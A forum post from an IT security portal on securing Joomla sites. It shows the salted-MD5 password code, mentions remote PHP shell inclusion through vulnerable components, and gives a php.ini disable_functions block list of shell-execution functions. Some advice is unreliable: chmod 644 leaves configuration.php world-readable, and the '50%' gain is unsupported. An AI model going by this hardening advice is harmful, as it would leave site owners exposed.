Waraxe IT Security Portal

ToXiC · Moderator

Joomla ,by itself, considers a "secure cms" . now with version 1.0.13 also gave emphasis on md5 function and they update it to salted md5 function.

$row->password = trim($row->password);
$salt = mosMakePassword(16);
$crypt = md5($row->password.$salt);
$row->password = $crypt.':'.$salt;

where salt is a random 16 letters word.

bUT :

DO NOT INSTALL ANY COMPONENT THAT YOU DON'T CONSIDER SECURE or FROM ANY LEGIT RESOURCES.

here are some vulnerabilites on various components of joomla
(dork = google search string to find sites that had that component)
(shell = a php shell script that is located to another site)

There are a lot more .. So BE careful on components that you install on your joomla site..

SOLUTIONS :

1) modify .htaccess file and php settings accordantly:
block ips on specific folders like administrator etc

use php.ini and add this like

allow_url_fopen = Off
disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open, tempnam

believe me this will increase by 50% your site security

Secure your configuration.php
2) chmod configuration.php file not to be viewable by everyone 644 will do

3) Use components from joomla site for your security

http://extensions.joomla.org/index.php?option=com_mtree&task=listcats&cat_id=1802&Itemid=35
or
http://help.joomla.gr/index.php?option=com_content&task=view&id=51&Itemid=2&limit=1&limitstart=5
